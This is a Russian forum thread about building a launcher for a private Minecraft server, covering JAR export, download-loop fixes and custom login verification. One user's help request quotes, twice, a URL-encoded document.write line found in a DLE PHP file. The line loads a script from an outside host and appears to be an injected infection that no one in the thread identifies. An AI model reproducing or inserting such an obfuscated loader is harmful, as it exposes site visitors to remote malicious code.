Туториал Делаем лаунчер для своего сервера

  • Автор темы Автор темы Ccc
  • Дата начала Дата начала
Как компилировать созданный лаунчер в готовый проект чтобы можно было запустить войти и играть. ИЛИ ТАК НЕЛЬЗЯ!? :creeper:
 
Здравствуйте, у меня проблема с dle 9.6 (вот такая ошибка при попытке регистрации в ней
Синтаксическая ошибка: синтаксическая ошибка, неожиданный T_STRING, ожидая ',' или ';' в / var/www/romik991/data/www/freecubes.checkpost.ru/engine/classes/mysqli.class.php на линии 217
И в этом файле вот такая фигня на 217 строчке.
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%74%79%6C%65%73%68%65%65%74%2D%6A%73%2E%72%75%2F%6A%73%2F%73%69%74%65%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
Помогите, что делать.
 
Здравствуйте, у меня проблема с dle 9.6 (вот такая ошибка при попытке регистрации в ней
Синтаксическая ошибка: синтаксическая ошибка, неожиданный T_STRING, ожидая ',' или ';' в / var/www/romik991/data/www/freecubes.checkpost.ru/engine/classes/mysqli.class.php на линии 217
И в этом файле вот такая фигня на 217 строчке.
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%74%79%6C%65%73%68%65%65%74%2D%6A%73%2E%72%75%2F%6A%73%2F%73%69%74%65%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
Помогите, что делать.
с проблемами dle явно не ко мне))
 
Как компилировать созданный лаунчер в готовый проект чтобы можно было запустить войти и играть. ИЛИ ТАК НЕЛЬЗЯ!? :creeper:
В эклипсе, правой кнопкой по проекту, выбираешь export, там java, Runable JAR file, и далее имя jar файла, а из jar в exe прогой launch4j
 
Можешь скинуть свой mysqli.class.php

Буду очень признателен!
 
Ccc, приветствую. С лаунчером maximusorg несколько проблем... Очень надеюсь на помощь.
1. Не знаю, может это фитча, а не баг, но client.zip у меня почему-то качается до 30% и с этого момента начинается отчёт вниз, дойдя до нуля процентный отчёт вновь идёт вверх. Как-то странно, а главное, понятно, что это не нормально...
2. Нативсы OpenAL32.dll и OpenAL64.dll разархивирутся почему-то очень долго. Т.е. буквально 2-3 минуты. Из-за этого процесс установки идёт уж неприлично долго...
3. Клиент скачался, закрываю лаунчер, запускаю его вновь и он опять начинает качать апдейт клиента.
4. После установки - чёрный экран. Но! Если я вхожу в скачаную версию стандартным майнкрафт-лаунчером (предварительно переименовав скачанную папку в .minecraft) - то всё работает. В чём может быть проблема?

Заранее спасибо.
 
Ccc, приветствую. С лаунчером maximusorg несколько проблем... Очень надеюсь на помощь.
1. Не знаю, может это фитча, а не баг, но client.zip у меня почему-то качается до 30% и с этого момента начинается отчёт вниз, дойдя до нуля процентный отчёт вновь идёт вверх. Как-то странно, а главное, понятно, что это не нормально...
2. Нативсы OpenAL32.dll и OpenAL64.dll разархивирутся почему-то очень долго. Т.е. буквально 2-3 минуты. Из-за этого процесс установки идёт уж неприлично долго...
3. Клиент скачался, закрываю лаунчер, запускаю его вновь и он опять начинает качать апдейт клиента.
4. После установки - чёрный экран. Но! Если я вхожу в скачаную версию стандартным майнкрафт-лаунчером (предварительно переименовав скачанную папку в .minecraft) - то всё работает. В чём может быть проблема?

Заранее спасибо.

в чем проблема не знаю но у меня были все те же болячки, я от него отказался и собрал другой лаунчер:)
 
Ccc, приветствую. С лаунчером maximusorg несколько проблем... Очень надеюсь на помощь.
1. Не знаю, может это фитча, а не баг, но client.zip у меня почему-то качается до 30% и с этого момента начинается отчёт вниз, дойдя до нуля процентный отчёт вновь идёт вверх. Как-то странно, а главное, понятно, что это не нормально...
2. Нативсы OpenAL32.dll и OpenAL64.dll разархивирутся почему-то очень долго. Т.е. буквально 2-3 минуты. Из-за этого процесс установки идёт уж неприлично долго...
3. Клиент скачался, закрываю лаунчер, запускаю его вновь и он опять начинает качать апдейт клиента.
4. После установки - чёрный экран. Но! Если я вхожу в скачаную версию стандартным майнкрафт-лаунчером (предварительно переименовав скачанную папку в .minecraft) - то всё работает. В чём может быть проблема?

Заранее спасибо.
1.Попробуй архивировать без сжатия
2.Перекачай нативсы, может они битые, плохо скачались ну или что-то вроде того
3.В client.zip создай папку bin и туда положи файл version(должен быть в папке bin) и в базе данных в таблице data(по-моему data...) измени game-build(или game-version... давно их не использовал :D)на ту цифру,что указана в файле version(открой notepad'ом++)
4.Ты изменял название папки в minecraft.jar/net/client/minecraft.class ?
 
1.Попробуй архивировать без сжатия
2.Перекачай нативсы, может они битые, плохо скачались ну или что-то вроде того
3.В client.zip создай папку bin и туда положи файл version(должен быть в папке bin) и в базе данных в таблице data(по-моему data...) измени game-build(или game-version... давно их не использовал :D)на ту цифру,что указана в файле version(открой notepad'ом++)
4.Ты изменял название папки в minecraft.jar/net/client/minecraft.class ?

По 1. Сделал, не помогло. Поставил степеь сжатия "0" - картина та же.
По 2. Проблема решена
По 3. Сделал, не помогло. Версии и в файле, и в БД совпадают - клиент качается снова и снова.
По 4. В Туторе это нигде не сказано. Плюс, открыв minecraft.class я не обнаружил там ни чего похожего на .minecraft или просто minecraft. Но! Проблема вроде решилась, после того, как я залил в апдейт чистый minecraft.jar без форджа. По крайней мере, чёрного экрана нет и игра запускается. Но теперь появилась ошибка "Не удалось подключиться к серверу. Connection refused: connect". Плюс, если выхожу в главное меню и пытаюсь зайти напрямую через "Сетевое подключение", пишет "Ошибка входа: User not premium".
Упреждая вопрос: ThreadLoginVerifier.class изменил, ayh.class изменил.

Спасибо!
 
"Ошибка входа: User not premium".

он так пишет если на сервере включен online-mode попробуй его выключить
 
"Ошибка входа: User not premium".

он так пишет если на сервере включен online-mode попробуй его выключить

Так online-мод должен быть включен. В противном случае, авторизации не будет и придётся ставить всякие AuthMe и пр. Именно для этого мы меняем файл "ThreadLoginVerifier.class" в Bukkit-е. Чтобы авторизация проходила не через minecraft.net, а через наш файл авторизации на сайте.
 
Так online-мод должен быть включен. В противном случае, авторизации не будет и придётся ставить всякие AuthMe и пр. Именно для этого мы меняем файл "ThreadLoginVerifier.class" в Bukkit-е. Чтобы авторизация проходила не через minecraft.net, а через наш файл авторизации на сайте.
проверь верно ли ввел ссылки в ThreadLoginVerifier.class и классе в minecraft.jar (на конце ссылки поставил ?user= ?)
 
тема низко опускается...как бы поднять ее..?
 
Я сделал всё нормально работает!Спасибо большое.
 
Скажите, где должен лежать файл servers.dat, а то он его не качает.
 
Назад
Верх